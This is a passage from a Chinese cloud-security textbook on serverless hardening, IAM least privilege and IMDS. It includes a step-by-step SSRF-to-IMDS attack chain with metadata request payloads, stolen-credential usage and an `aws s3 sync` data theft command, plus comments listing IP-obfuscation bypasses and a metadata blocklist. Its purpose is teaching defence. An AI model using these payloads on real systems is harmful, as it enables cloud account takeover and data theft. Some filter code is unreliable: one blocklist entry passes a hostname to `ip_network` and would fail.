        "ComparisonOperator": "GREATER_THAN",
        "Threshold": 80,
        "ThresholdType": "PERCENTAGE"
      },
      "Subscribers": [
        {"SubscriptionType": "EMAIL", "Address": "oncall@acme.com"},
        {"SubscriptionType": "SNS", "Address": "arn:aws:sns:...:budget-alert"}
      ]
    }
  ]'
# ★ 建议设三档:50%(提醒)、80%(警告)、100%(严重)
# ★ 高级做法:100% 时触发一个 Lambda 自动把并发降到 0(紧急熔断)

# ============================================================
# 防御 3:设置超时(防止慢函数)
# ============================================================
aws lambda update-function-configuration \
  --function-name acme-thumbnail \
  --timeout 30
#   ★ 必须设,且要小于业务可接受的最长时间
#   默认超时是 3 秒,但很多人改成了 15 分钟(最大值)
#   → 如果函数卡住了,15 分钟 × 高并发 = 天价

# ============================================================
# 防御 4:API Gateway 层面的限流
# ============================================================
#   - 开启 API Gateway 的 Usage Plan(每个 API Key 的调用配额)
#   - 设置账号级的并发限制(默认 1000,可以申请降低)
#   - ★ 接入 WAF,配置基于速率的规则(rate-based rule)
aws wafv2 create-rule-group ... # 速率限制规则:单个 IP 5 分钟内超过 2000 次就阻断

# ============================================================
# 防御 5:★ 防递归调用(代码层面 + 架构层面)
# ============================================================
# 架构层面:
#   - ★ 函数的输出【绝对不要】写回触发它的那个输入源
#     反例:S3 桶 A 的上传 → 触发函数 → 输出又写回桶 A → 无限循环
#     正解:输出到【另一个桶】,且那个桶不配置触发器
#
#   - 给 S3 触发器配置前缀和后缀过滤
#     (只处理 uploads/ 下的 .jpg,不处理 thumbnails/ 下的任何文件)

# 代码层面:
#   - 用幂等性设计:给每次处理一个唯一 ID,处理过的跳过
#   - ★ 检测递归:在事件里带一个"处理深度"字段,超过阈值就停止
# ★ 防递归的实用代码模式
import os
import json

MAX_DEPTH = int(os.environ.get('MAX_PROCESS_DEPTH', '3'))

def lambda_handler(event, context):
    # ① 从事件元数据里读"这是第几层处理"
    depth = 0
    if 'metadata' in event and 'depth' in event['metadata']:
        depth = event['metadata']['depth']

    if depth >= MAX_DEPTH:
        # ★ 超过深度就告警并停止,不再继续触发下游
        logger.warning(f"Max processing depth reached: {depth}")
        return {"statusCode": 200, "body": "depth limit reached"}

    # ② 处理业务逻辑
    result = do_work(event)

    # ③ 如果确实要触发下游,把深度 +1
    if result.needs_further_processing:
        event['metadata'] = {'depth': depth + 1}
        publish_event(event)

    return result

10.1.6 Serverless 部署包与依赖的风险

★ 一个问题:函数的部署包越大越危险

① 冷启动更慢
   Java 的 fat jar 50MB → 冷启动 5 秒+
   ★ 这也是为什么 Serverless 场景推荐 Go / Node / Python

② ★ 依赖越多,供应链风险越大(接第九章)
   一个 50MB 的 fat jar 里可能有 200 个 jar 包
   → 你根本不知道里面有什么
   → Log4Shell 就是这么藏进去的

③ 部署包本身可能泄露敏感信息
   ★ 真实案例:有人把 .env、数据库密码、私钥打包进了部署包
   → 部署包被上传到云平台,任何有"下载函数代码"权限的人都能拿到
   → ★ 更糟:有些公司的函数代码是"公开可读"的(配置错误)

★ 部署包的六个安全实践:

# ① 用层(Layer)分离依赖(AWS Lambda / 阿里云 FC 都支持)
#    把不常变的依赖放到层里,函数代码只放业务代码
#    → 部署包变小、冷启动变快、依赖可复用可单独管理
aws lambda publish-layer-version \
  --layer-name acme-common-libs \
  --zip-file fileb://layer.zip \
  --compatible-runtimes python3.11

# ② 排除不需要的文件
#    Python: 用 .lambdaignore 或 serverless.yml 的 exclude
#    Node:   serverless-esbuild / ncc 打包成单文件
#    Java:   用 shade 精确控制打入的 jar

# ③ ★ 扫描部署包里的敏感信息
unzip -l function.zip | grep -E "\.(env|pem|key)$|credentials|\.git/"
#   → 有输出就说明有问题

# ④ 用 SBOM(接 9.4)
syft file:./function.zip -o cyclonedx-json > sbom.json

# ⑤ 减小体积
#    Python: 只打包 site-packages 里实际用到的
#    Node:   用 esbuild bundle + minify,去掉 devDependencies
#    Java:   ★ 别用 fat jar,用 Lambda 的 Java 运行时 + 精简依赖
#           或考虑 GraalVM Native Image(冷启动从 5s → 100ms)

# ⑥ 部署包签名与完整性校验
#    虽然云平台通常不强制,但高合规场景可以做

10.1.7 Serverless 加固清单

## Serverless 函数安全检查表

### 权限(★ 最重要)
- [ ] 1. 执行角色遵循最小权限,没有 Action:* 或 Resource:*
- [ ] 2. ★ 没有 iam:CreateUser / iam:AttachPolicy / lambda:UpdateFunctionCode
          / cloudtrail:StopLogging 等高危权限
- [ ] 3. S3 / DynamoDB 等资源权限精确到【具体的桶/表 + 前缀】
- [ ] 4. 不同函数用【不同的执行角色】(不是一个角色给所有函数用)
- [ ] 5. 用 IAM Access Analyzer 或 Cloudsplaining 定期审查策略

### 输入与代码
- [ ] 6. ★ 所有事件源都被当作不可信输入(S3 对象名、MQ 消息、DB 变更流)
- [ ] 7. 用白名单/schema 校验输入(不用黑名单)
- [ ] 8. 命令执行用 subprocess 列表传参(不用 os.system 字符串拼接)
- [ ] 9. 没有 pickle.loads / eval / exec(反序列化漏洞)
- [ ] 10. XML 解析用 defusedxml

### 状态与数据
- [ ] 11. ★ 全局变量里不存任何请求相关/用户相关的数据
- [ ] 12. /tmp 里的敏感文件用 try/finally 确保清理(最好覆写后删)
- [ ] 13. 密钥放密钥管理服务(Secrets Manager / KMS),不放环境变量
- [ ] 14. ★ 日志里不打印密钥、token、完整请求体(脱敏)
- [ ] 15. 日志组的保留期和访问权限已配置

### 资源与成本
- [ ] 16. ★ 设置了并发限制(reserved concurrency)
- [ ] 17. ★ 设置了超时(timeout),且小于业务可接受上限
- [ ] 18. ★ 配置了预算告警(50% / 80% / 100% 三档)
- [ ] 19. API Gateway 配置了 Usage Plan 和限流
- [ ] 20. ★ 不存在"函数输出写回触发源"的递归调用

### 部署与监控
- [ ] 21. 部署包里没有 .env / .pem / .git / credentials
- [ ] 22. 部署包有 SBOM 且定期扫描
- [ ] 23. 开启了云审计日志(CloudTrail / 操作审计),且日志文件防篡改
- [ ] 24. ★ 监控异常:函数被异常频繁调用、函数配置被修改、新的函数被创建
- [ ] 25. 函数代码开启了版本管理,可以回滚

10.1.8 Serverless 的十个坑(经验总结)

坑 1:以为"没有服务器 = 没有安全责任"
    → 云的"责任共担模型":底层归云厂商,你的代码配置归你

坑 2:★ 给执行角色 *:* 权限
    → 最常见的致命错误。一个函数被攻破 = 整个云账号沦陷

坑 3:把内部系统产生的事件当作可信输入
    → S3 对象名、MQ 消息体的源头都是外部用户

坑 4:用全局变量存用户状态
    → 环境复用导致跨请求数据泄漏(极难复现的偶发 bug)

坑 5:敏感文件写在 /tmp 不清理
    → 下次调用(可能是别人的请求)能读到

坑 6:密钥放环境变量
    → 明文存储 + 容易打印到日志 + 有配置查看权限的人都能看到

坑 7:函数输出写回触发源
    → 无限递归 → 一夜之间几十万次调用

坑 8:不设并发限制和预算告警
    → 被刷一次就是几万甚至几十万美元账单

坑 9:日志里打印完整请求体和环境变量
    → 密钥全进日志,而日志权限往往是"所有人可读"

坑 10:★ 以为"修好函数代码"就结束了,忘了查【持久化】
    → 攻击者可能已经:
       - 创建了新的函数作为后门
       - 修改了现有函数的代码
       - 创建了新的 IAM 用户
       - 加了定时触发器
    → ★ 处置时必须查 CloudTrail 的所有 API 调用记录(见第九章的处置流程)

10.2 云身份与权限(云上最危险的东西)

★ 一句话:在传统机房里,最容易被攻破的是“服务器”; 在云上,最容易被攻破的是**“权限”**。

服务器被攻破,损失是一台机器; 权限被攻破,损失是整个账号里的所有资源。

10.2.1 先讲清楚:云 IAM 到底是什么

★ 名词:IAM(Identity and Access Management,身份与访问管理) 白话:云平台里那套**“谁 能 对 什么东西 做 什么操作”**的管理系统。 生活类比:公司的门禁系统 —— 员工是“身份”,门禁卡权限是“策略”,每个房间是“资源”。

★ 名词:Principal(主体) 白话:**“谁”**要来操作。可以是人(用户)、程序(服务)、或者一个“角色”。

★ 名词:Policy(策略) 白话:一张写着“允许/拒绝做什么”的纸条,贴到主体或资源上。

★ 名词:Role(角色) 白话:一顶“帽子”。谁戴上这顶帽子,就临时获得帽子上的权限。 ★ 角色本身不是人也不是程序,它是一组权限的集合,等着被“扮演”(Assume)。

★ 名词:Assume(扮演/代入) 白话:戴帽子的动作。你的程序说“我现在要扮演 prod-db-backup 这个角色”, 云平台验证你有权这么做之后,发给你一把临时钥匙。

★ 名词:STS(Security Token Service,安全令牌服务) 白话:发临时钥匙的窗口。它发出去的钥匙有过期时间(通常 15 分钟 ~ 12 小时), 过期自动失效 ★ 这是云上最安全的一种凭据形态。

一张图看懂:Linux 权限 vs 云 IAM

┌──────────────────────────────────────────────────────────────┐
│                      Linux 文件权限                            │
├──────────────────────────────────────────────────────────────┤
│  维度:       用户 / 组  ×  读 / 写 / 执行                     │
│  数量级:     几十个用户,几百个文件                            │
│  粒度:       文件级                                            │
│  判断逻辑:   先看是不是 owner,再看 group,最后 other           │
│  ★ 特点:    简单,最坏情况也就是把 /etc/shadow 改了            │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│                      云 IAM(以 AWS 为例)                     │
├──────────────────────────────────────────────────────────────┤
│  维度:       主体 × 操作(Action) × 资源(Resource) × 条件(Condition)│
│  数量级:     上百个用户、上千个角色、上万条策略、几百种服务      │
│               每个服务有几十~几百个 API(Action)                │
│  粒度:       单个 API 级(如 s3:GetObject)                    │
│  判断逻辑:   ★ 五道关卡全过才允许(见下)                       │
│  ★ 特点:    极其复杂,最坏情况是整个云账号的资源被搬空、被加密、 │
│              或者被拿去挖矿产生几百万账单                        │
└──────────────────────────────────────────────────────────────┘

★ 为什么云 IAM 比 Linux 权限危险得多

理由 1:【爆炸半径(Blast Radius)不是一个量级】
    Linux:拿到 www-data 用户 → 影响一个网站
    云上:拿到一个有 AdministratorAccess 的 AK/SK
          → 影响账号里的所有服务器、数据库、存储桶、账单

理由 2:【凭据会"流窜",而 Linux 密码不会】
    Linux:密码存在 /etc/shadow,很难被偷出来
    云上:凭据是【一个字符串】(AK/SK 或临时 Token),
          它可能出现在:
            - 代码仓库(最常见!)
            - 环境变量
            - 日志
            - 前端 JS 打包产物
            - Docker 镜像层
            - 配置文件
            - 错误信息堆栈
            - CI 日志(★ 最容易被忽略,而且 CI 日志常常是公开的)
          ★ 只要泄露一次,就是永久的、全球可用的钥匙

理由 3:【权限判断是"组合"出来的,人脑无法穷举】
    一个主体最终有什么权限 = 所有相关策略的叠加
      = 组织 SCP(天花板)
      + 权限边界(天花板)
      + 身份策略(Identity-based Policy)
      + 资源策略(Resource-based Policy)
      + 会话策略(Session Policy)
    五层叠加,而且默认拒绝、显式拒绝优先
    ★ 运维自己都经常算不清"我这个角色到底能干什么"

理由 4:【很多权限组合起来等于 "提权到管理员"】
    例:iam:CreatePolicyVersion + iam:AttachUserPolicy
        = 给自己贴一个管理员策略 = 事实上就是管理员
    ★ 单看每个权限都很无害,组合起来致命(见 10.2.8)

★ 五道关卡:一个 API 调用是怎么被判断的

请求:用户小明 要执行 s3:DeleteObject 删除 prod-bucket/app.jar

  关卡 1:组织 SCP(Service Control Policy)
  ┌──────────────────────────────────────────┐
  │ 组织层面的"宪法",所有账号都不能违反      │
  │ 例:禁止关闭 CloudTrail、禁止删除日志桶    │
  │ → 若 SCP 拒绝,后面全不用看了,直接拒绝    │
  └──────────────────────────────────────────┘
            ↓ 通过
  关卡 2:权限边界(Permissions Boundary)
  ┌──────────────────────────────────────────┐
  │ 给某个主体设的"天花板"                    │
  │ 就算给他贴了管理员策略,也超不过天花板      │
  │ ★ 典型用法:让开发团队能自助建角色,       │
  │   但建出来的角色不得超过某个权限上限        │
  └──────────────────────────────────────────┘
            ↓ 通过
  关卡 3:会话策略(Session Policy)
  ┌──────────────────────────────────────────┐
  │ AssumeRole 时临时附加的限制               │
  │ ★ 临时钥匙的权限 = 角色权限 ∩ 会话策略     │
  └──────────────────────────────────────────┘
            ↓ 通过
  关卡 4:身份策略(贴在用户/角色身上)
  ┌──────────────────────────────────────────┐
  │ "小明这个人能做什么"                       │
  └──────────────────────────────────────────┘
            ↓ 通过 / 或者没有显式 Allow
  关卡 5:资源策略(贴在资源上,如 S3 Bucket Policy)
  ┌──────────────────────────────────────────┐
  │ "这个桶允许谁来动它"                       │
  │ ★ 同账号内:身份策略 或 资源策略 任一允许即可 │
  │ ★ 跨账号:两边都必须允许(交集)            │
  └──────────────────────────────────────────┘
            ↓
      最终结果

  ★★★ 三条铁律:
    ① 默认拒绝(没写就是不允许)
    ② 显式 Deny 永远压倒一切 Allow(一票否决)
    ③ 最终权限 = 五层的【交集】(除了同账号内身份策略与资源策略是并集)

10.2.2 权限过大:四种典型形态与收敛方法

★ 定义:权限过大(Over-permission),指的是主体被授予了远超实际需要的权限。 这是云上第一号安全问题——不是漏洞,是最常见、最容易被利用的配置错误。

形态一:通配符滥用

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
  ]
}
★★★ 这就是 AdministratorAccess(管理员权限)

生活类比:你请了个保洁阿姨打扫你家,
          然后你给了她【小区所有住户的万能钥匙】+【你的银行卡和密码】+【房本】。

她的实际需要:你家客厅的钥匙 + 打扫时间段的权限

★ 三个常见的“看起来很正常其实很致命”的通配符

// ① 服务级通配:s3:*
{
  "Action": "s3:*",
  "Resource": "arn:aws:s3:::prod-bucket/*"
}
// ★ 危险在哪:s3:* 包含 s3:DeleteBucket、s3:PutBucketPolicy
//   攻击者可以:删桶 / 改桶策略让桶公开 / 开启桶版本控制然后塞满垃圾数据让你付费

// ② 资源级通配:Resource: "*"
{
  "Action": ["s3:GetObject", "s3:PutObject"],
  "Resource": "*"
}
// ★ 危险在哪:这个角色能读写【账号里所有桶的所有对象】
//   包括其他业务的桶、数据库备份桶、密钥桶

// ③ Action 前缀通配:iam:* 或 sts:*
{
  "Action": "iam:*",
  "Resource": "*"
}
// ★★★ 最危险:等于拿到整个账号的身份控制权
//   可以给自己建用户、建 AK、改别人的策略 → 完全沦陷

形态二:直接给“管理员”图省事

典型对话:

  开发:"我的函数访问 S3 报 AccessDenied,帮我看下"
  运维:"算了,先给你 AdministratorAccess,上线要紧"
  开发:"好"
  (三个月后…)
  ★ 这个函数的执行角色还是 AdministratorAccess
  ★ 而这个函数的代码里有个 SSRF 漏洞
  ★ 攻击者 SSRF 打到 IMDS 拿走临时凭据
  ★ → 整个云账号沦陷

★ 为什么这种事天天发生:
    排查权限的成本(10 分钟 ~ 2 小时) > 给个管理员的成本(10 秒)
    而【后果是几个月后才会出现的】,当下看不见

形态三:内联策略(Inline Policy)埋雷

★ 名词:内联策略(Inline Policy) 白话:直接焊死在某个人身上的策略,不像“托管策略”那样可以复用和集中管理。

托管策略(Managed Policy):  一份策略文档,可以被 100 个角色引用
                             ★ 改一处,100 个地方生效,好管理
内联策略(Inline Policy):   写在某个具体用户/角色"体内",只属于它一个
                             ★ 每个都要单独查,★ 是审计的盲区

★ 危险:
   - IAM 控制台的"用户列表"页看不到内联策略内容,必须点进每个用户才能看到
   - 权限审计工具经常漏掉它
   - 人离职了,内联策略跟着用户一起留着,没人清理
# ★ 审计脚本:找出所有内联策略(AWS CLI)
# 这是每次做云安全评估必跑的第一条命令

# 1) 所有用户的内联策略
for u in $(aws iam list-users --query 'Users[].UserName' --output text); do
  for p in $(aws iam list-user-policies --user-name "$u" --query 'PolicyNames[]' --output text); do
    echo "=== USER: $u / POLICY: $p ==="
    aws iam get-user-policy --user-name "$u" --policy-name "$p" --output json
  done
done

# 2) 所有角色的内联策略(★ 更容易被忽略)
for r in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
  for p in $(aws iam list-role-policies --role-name "$r" --query 'PolicyNames[]' --output text); do
    echo "=== ROLE: $r / POLICY: $p ==="
    aws iam get-role-policy --role-name "$r" --policy-name "$p" --output json
  done
done

形态四:僵尸权限(从没被用过的权限)

★ 现象:三年前为了做一次数据迁移,给角色加了 dynamodb:*
        迁移早就做完了,权限还挂着

★ 为什么危险:
   攻击者拿到这个角色,就能扫你所有 DynamoDB 表
   而你以为"这个角色只是个只读的报表角色"

★ 云厂商早就提供了工具(很多人不知道):
   AWS  → IAM Access Analyzer 的 "Policy Generation"(基于 CloudTrail 生成最小权限策略)
          + "Last Accessed" 标签(显示每个服务最后一次被访问的时间)
   阿里云 → RAM 的"权限策略最后使用时间"
   腾讯云 → CAM 的"策略最后访问时间"

★ 收敛方法:最小权限的四步闭环

第一步:★ 先知道"实际用了什么"(不要凭猜)
────────────────────────────────────────
    aws iam generate-service-last-accessed-details \
      --arn arn:aws:iam::123456789012:role/my-app-role

    # 等待任务完成后取结果(返回每个服务的最后访问时间)
    aws iam get-service-last-accessed-details --job-id <JOB_ID>

    ★ 输出会告诉你:这个角色 90 天里只用过 s3 和 sqs,
      但策略里写了 12 个服务的权限 → 可以砍掉 10 个


第二步:用 CloudTrail 生成"实际用到的精确权限"
────────────────────────────────────────
    # AWS IAM Access Analyzer → Policy generation
    # 上传 CloudTrail 日志,它自动生成只包含实际调用过的 API 的策略

    ★ 生活类比:不是问"你想吃什么"(人会往多了说),
      而是看你【过去 90 天实际吃了什么】(真实行为)


第三步:★ 先"只记录不拦截",再切换
────────────────────────────────────────
    直接把新策略贴上去 → 万一漏了某个 API,线上立刻 500

    ✅ 正确做法:
      ① 新旧策略同时挂 30 天
      ② 用 CloudTrail + Athena 查:新策略下有没有 AccessDenied
      ③ 有 Denied → 补权限,重新开始 30 天
      ④ 连续 30 天 0 Denied → 摘掉旧策略

    ★ 这一步是"最小权限"落地失败的最常见原因:
      大家都想一步到位,结果事故一次,以后再也没人敢动了


第四步:把检查固化到 CI 里,防止回潮
────────────────────────────────────────
    # 在 IaC 的 CI 流水线里加一条:
    # 任何包含 "*" 的 Action 或 Resource,必须审批 + 写注释说明理由

    checkov -d terraform/ \
      --check CKV_AWS_1 \          # 禁止 AdministratorAccess
      --check CKV_AWS_62 \         # 禁止 Action:*
      --hard-fail-on HIGH

★ 诚实说明:最小权限的三个现实困难

困难 1:【有些服务的权限模型本身就是粗粒度的】
    例:某些托管服务只有 "ReadOnly / FullAccess" 两档,没有中间档
    → 你只能二选一,做不到精确
    → 应对:用资源级限制(Resource ARN)把范围框住,
            ★ 即使 Action 粗,Resource 精确也能大幅降低风险

困难 2:【动态资源名无法写进策略】
    例:函数要读 s3://bucket/${用户ID}/avatar.jpg
        ★ 你不可能为每个用户写一条策略
    → 应对:用【策略变量】${aws:userid} / ${aws:PrincipalTag/team}
           让策略和资源名动态匹配(见下方代码)

困难 3:【业务变化快,权限跟不上,然后就被永久放宽了】
    → 应对:给策略加"过期时间"标签,到期自动告警
           ★ 组织纪律比技术更重要
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowUserReadOwnObjectsOnly",
      "Effect": "Allow",
      "Action": ["s3:GetObject", "s3:PutObject"],
      "Resource": "arn:aws:s3:::user-uploads/${aws:userid}/*"
    }
  ]
}
★ 上面这条策略的效果:
   用户 A 只能读写 user-uploads/A/ 下的对象
   用户 B 只能读写 user-uploads/B/ 下的对象
   ★ 一条策略搞定百万用户,而且是【强制隔离】的

   ★ 生活类比:酒店房卡
     不是给每个客人配一把专属锁(不现实),
     而是"这张卡只能开 302 房" —— 卡是通用的,权限是动态的

10.2.3 IMDS(169.254.169.254):云上最著名的一个 IP

★ 名词:IMDS(Instance Metadata Service,实例元数据服务) 白话:每台云服务器内部都藏着的一个“自助查询台”, 你访问 http://169.254.169.254 就能问它:“我是谁?我的 IP 是多少?我的临时凭据是什么?”

★ 名词:169.254.169.254 白话:一个特殊的私有 IP(链路本地地址 / link-local)。 ★ 它只在本机内部有效,不能从外面访问(路由器不会转发这个地址)。 所有主流云平台都用它:AWS、阿里云、腾讯云、Azure、GCP。

为什么要设计这个东西?
────────────────────────────────────────────
云上一台虚拟机启动后,它【不知道自己是谁】。
但它上面跑的程序需要知道:
  - 我的实例 ID 是什么?(写日志用)
  - 我在哪个地域/可用区?(选最近的数据库用)
  - 我的 IP 是多少?(注册到服务发现用)
  - ★ 我扮演的角色是什么?临时凭据在哪?(访问 S3/OSS 用)

传统做法:把这些信息写成配置文件,启动时注入
          → 问题:配置文件要管理、要分发、凭据会过期

云的做法:★ 开一个只有本机能访问的"查询台"
          程序随时 curl 一下就知道答案
          凭据由云平台自动轮换,程序每次现取

IMDSv1 的致命缺陷

IMDSv1(第一版)的工作方式:
────────────────────────────────────────────
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/my-role

    → 直接返回:
      {
        "AccessKeyId": "ASIA...",
        "SecretAccessKey": "wJalr...",
        "Token": "FwoGZXIvYXdz...",     ← 这是个很长的字符串
        "Expiration": "2026-09-04T22:00:00Z"
      }

★ 缺陷:★ 一个普通的 GET 请求就拿到了凭据
       没有任何身份验证 —— 谁问都给

为什么这个缺陷是致命的?
────────────────────────────────────────────
   因为它和【SSRF】组合起来威力无穷(见下)

★ 名词:SSRF(Server-Side Request Forgery,服务端请求伪造) 白话:你让服务器帮你去访问一个网址,结果你让它访问了内网的敏感地址。 生活类比:你让前台小妹帮你“打个电话问一下”,你说“打给 169.254.X”, 她照做了 —— ★ 她不知道这个号码是内部保密线路。

★★★ 完整攻击链:SSRF → IMDS → 云账号沦陷

┌────────────────────────────────────────────────────────────────┐
│ 经典攻击链(2019 年 Capital One 泄露 1 亿条数据的真实路径)       │
└────────────────────────────────────────────────────────────────┘

  ① 目标:一个部署在 EC2 上的 Web 应用,功能是"输入图片 URL → 生成缩略图"

      POST /api/thumbnail
      {"url": "https://example.com/cat.jpg"}
                              ↑ 用户可控的输入

  ② 攻击者把 url 改成内网地址(SSRF):

      POST /api/thumbnail
      {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

  ③ 服务器照做,去请求了这个地址,把结果当成"图片"处理
      → 返回给攻击者(或者写进错误日志 / 缩略图 EXIF / 外带 DNS)

      响应内容:
      "prod-webapp-role"          ← ★ 拿到了角色名

  ④ 再请求一次,带上角色名:

      {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-webapp-role"}

      响应内容:
      {
        "AccessKeyId": "ASIAY34FZKBOKMUTVX7A",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "Token": "FwoGZXIvYXdzEJr...(几百个字符)",
        "Expiration": "2026-09-04T22:00:00Z"
      }
      ★★★ 拿到云凭据了

  ⑤ 攻击者在自己电脑上配置这套凭据:

      export AWS_ACCESS_KEY_ID=ASIAY34FZKBOKMUTVX7A
      export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
      export AWS_SESSION_TOKEN=FwoGZXIvYXdzEJr...

      aws s3 ls                      # 列所有桶
      aws s3 ls s3://prod-backup/    # 找到备份桶
      aws s3 sync s3://prod-backup/ ./stolen/    # ★ 全部拖走

  ⑥ 如果角色权限够大,还能:
      - 创建新的 IAM 用户 + AK/SK(持久化,不受临时凭据过期影响)
      - 启动几十台 GPU 机器挖矿
      - 给所有 EC2 打快照,传到攻击者的账号(数据外泄)
      - 删库跑路

  ★★ 整个过程可能只要 5 分钟

★ 注意:上面第 ⑤ 步里,ASIA 开头的是临时凭据(STS 签发), 而 AKIA 开头的是长期凭据(IAM User 的 AK/SK)。 ★ 看到 ASIA 就说明来自 IMDS 或 AssumeRole。

IMDSv2:加上一道“先取票”

★ 名词:IMDSv2(IMDS 第二版) 白话:问问题之前,先去领一个“号码牌”(Session Token),问的时候必须出示这个牌。 ★ 关键改进:领号码牌必须用 PUT 请求,而且可以设置“这个包最多能跳几跳(hop limit)”。

IMDSv1 vs IMDSv2 对比
────────────────────────────────────────────────────────────────
  IMDSv1:
      GET /latest/meta-data/iam/security-credentials/role
      → 直接给凭据

  IMDSv2(两步):
      ① 领票(★ 必须用 PUT,且带 X-aws-ec2-metadata-token-ttl-seconds 头)
         PUT /latest/api/token
         X-aws-ec2-metadata-token-ttl-seconds: 21600
         → 返回一个 Token 字符串

      ② 用票取数据(GET,但必须带 Token 头)
         GET /latest/meta-data/iam/security-credentials/role
         X-aws-ec2-metadata-token: <上一步拿到的 Token>
         → 给凭据

★ 为什么这样就能防住 SSRF?

因为攻击者要完成 IMDSv2 的两步,需要同时满足:

  ① 能发【PUT】请求(带自定义请求头)
     → 大多数 SSRF 漏洞点是 GET,或者只能控制 URL 不能控制方法/请求头
     → ★ 比如"输入图片 URL"这种功能,服务端只会发 GET

  ② 能拿到【第一次的响应内容】(Token),并把它放进第二次请求的【请求头】
     → 很多 SSRF 是"盲 SSRF"(blind SSRF):
       你看不到响应内容,只能根据响应时间/是否报错来判断
     → ★ 盲 SSRF 拿不到 Token,第二步就做不了

  ③ 请求头能穿透(很多代理/WAF 会剥掉自定义头)

★ 结论:IMDSv2 不能 100% 防住 SSRF(如果攻击者能做完整的带外 SSRF + 控制请求头,
        依然可以),但它把门槛从"小学生"提高到了"博士生"
        ★★ 这就是为什么它是最重要的一个防御措施

★ 名词:Hop Limit(跳数限制) 白话:限制这个网络包最多能被转发几次。 ★ IMDSv2 里设为 1 的意思:这个包只能在本机内部走,不能被转发。 → 如果攻击者在容器里发 SSRF,包要从容器走到宿主机(1 跳),就到不了 IMDS 了。

★ 完整防御代码

# ============================================================
# 强制启用 IMDSv2(AWS)
# ============================================================

# ① 对已有实例开启(★ 必须重启后才完全生效?不需要,立即生效)
aws ec2 modify-instance-metadata-options \
  --instance-id i-0123456789abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1 \
  --http-endpoint enabled

# ② 在启动模板里固化(★ 防止新机器回潮)
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abcd1234 \
  --source-version 1 \
  --launch-template-data '{
    "MetadataOptions": {
      "HttpTokens": "required",          ← ★ 强制 IMDSv2
      "HttpPutResponseHopLimit": 1,      ← ★ 只允许本机
      "HttpEndpoint": "enabled"
    }
  }'

# ③ 批量检查:找出所有还在用 IMDSv1 的实例
aws ec2 describe-instances \
  --query 'Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].[InstanceId,MetadataOptions.HttpTokens,Tags[?Key==`Name`].Value|[0]]' \
  --output table

# ④ ★ 用 IAM 策略强制:不允许启动 IMDSv1 的实例(治本)
cat > deny-imdsv1.json <<'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RequireIMDSv2",
      "Effect": "Deny",
      "Action": "ec2:RunInstances",
      "Resource": "arn:aws:ec2:*:*:instance/*",
      "Condition": {
        "StringNotEquals": {
          "aws:RequestTag/IMDSv2": "required"
        }
      }
    },
    {
      "Sid": "DenyModifyingMetadataOptions",
      "Effect": "Deny",
      "Action": "ec2:ModifyInstanceMetadataOptions",
      "Resource": "*"
    }
  ]
}
EOF

★ 说明:上面第 ④ 条用的是 StringNotEquals + 标签条件, 实际生产中更常见的做法是配合 SCP 在组织层面拒绝(见 10.2.6), 因为标签可以被伪造。最稳妥的组合是:启动模板固化 + SCP 兜底 + 定期扫描。

# ============================================================
# 应用层防御:SSRF 本身就是根因,必须一起治
# ============================================================
import ipaddress
import socket
import urllib.parse
from functools import wraps

# ★ 白话:这个装饰器做三件事
#   ① 只允许 http/https(挡掉 file://, gopher://, dict:// 等协议)
#   ② 把域名解析成 IP,检查是不是内网地址(★ 关键:防 DNS Rebinding 要重新绑定)
#   ③ 用一个自定义的 socket 层,在真正连接时再查一次

BLOCKED_NETWORKS = [
    ipaddress.ip_network('169.254.169.254/32'),   # ★ 云元数据服务(最高优先级)
    ipaddress.ip_network('169.254.169.253/32'),   # AWS 部分区域的容器元数据
    ipaddress.ip_network('169.254.170.2/32'),     # ECS 任务元数据
    ipaddress.ip_network('169.254.0.0/16'),       # 链路本地
    ipaddress.ip_network('127.0.0.0/8'),          # 本地回环
    ipaddress.ip_network('10.0.0.0/8'),           # 私有网段
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('100.100.100.200/32'),   # ★ 阿里云元数据服务
    ipaddress.ip_network('metadata.google.internal/32'),  # GCP
]

def is_safe_url(url: str) -> tuple[bool, str]:
    """
    检查 URL 是否安全(不会打到本地/内网/云元数据)
    返回 (是否安全, 原因)
    """
    try:
        parsed = urllib.parse.urlparse(url)
    except Exception as e:
        return False, f"URL 解析失败: {e}"

    # ★ ① 协议白名单(★ 这一步能挡掉 90% 的 SSRF 变形)
    if parsed.scheme not in ('http', 'https'):
        return False, f"禁止的协议: {parsed.scheme}"

    # ★ ② 禁止用户名密码里带 @ 的混淆写法(http://evil.com@169.254.169.254/)
    if '@' in (parsed.netloc or ''):
        return False, "URL 中不允许包含 @ 认证信息"

    hostname = parsed.hostname
    if not hostname:
        return False, "缺少主机名"

    # ★ ③ 禁止直接用 IP 的变形写法(十进制 2852039166 = 169.254.169.254)
    if _is_ip_literal(hostname):
        return False, "不允许直接使用 IP 地址,请使用域名"

    # ★ ④ 解析域名并检查所有解析结果
    try:
        infos = socket.getaddrinfo(hostname, None)
    except socket.gaierror as e:
        return False, f"域名解析失败: {e}"

    for info in infos:
        ip_str = info[4][0]
        try:
            ip = ipaddress.ip_address(ip_str)
        except ValueError:
            return False, f"非法 IP: {ip_str}"

        for net in BLOCKED_NETWORKS:
            if ip in net:
                return False, f"★ 目标地址在黑名单网段: {ip} ({net})"

    return True, "OK"


def _is_ip_literal(hostname: str) -> bool:
    """
    ★ 检查是否是各种变形的 IP 写法
    常见绕过手法:
      - 十进制整数:  http://2852039166/          → 169.254.169.254
      - 八进制:      http://0251.0376.0251.0376/  → 169.254.169.254
      - 十六进制:    http://0xa9.0xfe.0xa9.0xfe/  → 169.254.169.254
      - 省略写法:    http://169.254.169.254./     → 末尾多点一个句号
    """
    import re

